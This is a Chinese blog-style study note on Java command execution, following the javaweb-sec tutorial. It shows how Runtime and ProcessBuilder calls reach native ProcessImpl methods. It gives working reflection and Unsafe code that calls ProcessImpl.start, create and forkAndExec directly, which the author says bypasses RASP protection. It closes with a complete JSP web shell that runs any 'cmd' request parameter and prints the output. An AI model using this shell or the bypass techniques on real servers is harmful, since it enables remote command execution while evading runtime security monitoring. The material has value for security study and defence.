JavaSec基础命令执行
记录https://github.com/javaweb-sec/javaweb-sec的学习。
·
记录https://github.com/javaweb-sec/javaweb-sec的学习
CommandExecute
Runtime#exec
ProcessBuilder#start
以上两个最终都要调到ProcessImpl
而ProcessImpl会调用native的forkAndExec
实际最终都是调到Java_java_lang_ProcessImpl_forkAndExec
而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl
实现命令执行或者直接反射UNIXProcess/ProcessImpl
的forkAndExec
方法就可以绕过RASP实现命令执行了。
但是我本地跟了一下 最终调的是Java_java_lang_ProcessImpl_create 并没有找到 Java_java_lang_ProcessImpl_forkAndExec
在linux下有forkAndExec
Java_java_lang_ProcessImpl_create(JNIEnv *env, jclass ignored,
jstring cmd,
jstring envBlock,
jstring dir,
jlongArray stdHandles,
jboolean redirectErrorStream)
{
jlong ret = 0;
if (cmd != NULL && stdHandles != NULL) {
const jchar *pcmd = (*env)->GetStringChars(env, cmd, NULL);
if (pcmd != NULL) {
const jchar *penvBlock = (envBlock != NULL)
? (*env)->GetStringChars(env, envBlock, NULL)
: NULL;
const jchar *pdir = (dir != NULL)
? (*env)->GetStringChars(env, dir, NULL)
: NULL;
jlong *handles = (*env)->GetLongArrayElements(env, stdHandles, NULL);
if (handles != NULL) {
ret = processCreate(
env,
pcmd,
penvBlock,
pdir,
handles,
redirectErrorStream);
(*env)->ReleaseLongArrayElements(env, stdHandles, handles, 0);
}
if (pdir != NULL)
(*env)->ReleaseStringChars(env, dir, pdir);
if (penvBlock != NULL)
(*env)->ReleaseStringChars(env, envBlock, penvBlock);
(*env)->ReleaseStringChars(env, cmd, pcmd);
}
}
return ret;
}
这里就不写Runtime和ProcessBuilder的了
反射ProcessImpl命令执行
package tem;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;
public class Exec {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Method startMethod = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
startMethod.setAccessible(true);
startMethod.invoke(null,new String[]{"calc"},null,null,null,false);
}
}
高版本则需要用Unsafe绕过
package tem;
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;
public class Exec {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Method startMethod = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Class cureentClass = Exec.class;
unsafe.getAndSetObject(cureentClass,unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),Object.class.getModule());
startMethod.setAccessible(true);
startMethod.invoke(null,new String[]{"calc"},null,null,null,false);
}
}
反射Java_java_lang_ProcessImpl_create命令执行
当ProcessImpl也不能用的时候可以考虑
过程如下
- 使用
sun.misc.Unsafe.allocateInstance(Class)
特性可以无需new
或者newInstance
创建ProcessImpl
类对象。 - 反射
ProcessImpl
类的create
方法。 - 构造
create
需要的参数并调用。
package tem;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class NativeExec {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchMethodException, InvocationTargetException {
// 获取ProcessImpl的实例
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Object o = unsafe.allocateInstance(clazz);
Method createMethod = clazz.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
Class cureentClass = NativeExec.class;
unsafe.getAndSetObject(cureentClass,unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),Object.class.getModule());
createMethod.setAccessible(true);
// Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(String[].class,String.class,String.class,long[].class,boolean.class,boolean.class);
// declaredConstructor.setAccessible(true);
// System.out.println(declaredConstructor);
// Object p = declaredConstructor.newInstance(new String[]{"calc"}, null, null, new long[]{-1L,-1L,-1L}, false, false);
// System.out.println(p);
createMethod.invoke(null,
"calc",
null,
null,
new long[]{-1L,-1L,-1L},
false);
}
}
在linux下则是forkAndExec
这个直接抄了
过程如下
- 使用
sun.misc.Unsafe.allocateInstance(Class)
特性可以无需new
或者newInstance
创建UNIXProcess/ProcessImpl
类对象。 - 反射
UNIXProcess/ProcessImpl
类的forkAndExec
方法。 - 构造
forkAndExec
需要的参数并调用。 - 反射
UNIXProcess/ProcessImpl
类的initStreams
方法初始化输入输出结果流对象。 - 反射
UNIXProcess/ProcessImpl
类的getInputStream
方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
%>
<%
String[] strs = request.getParameterValues("cmd");
if (strs != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});
forkMethod.setAccessible(true);// 设置访问权限
int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});
// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.println("<pre>");
out.println(baos.toString());
out.println("</pre>");
out.flush();
out.close();
}
%>
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
已为社区贡献1条内容
所有评论(0)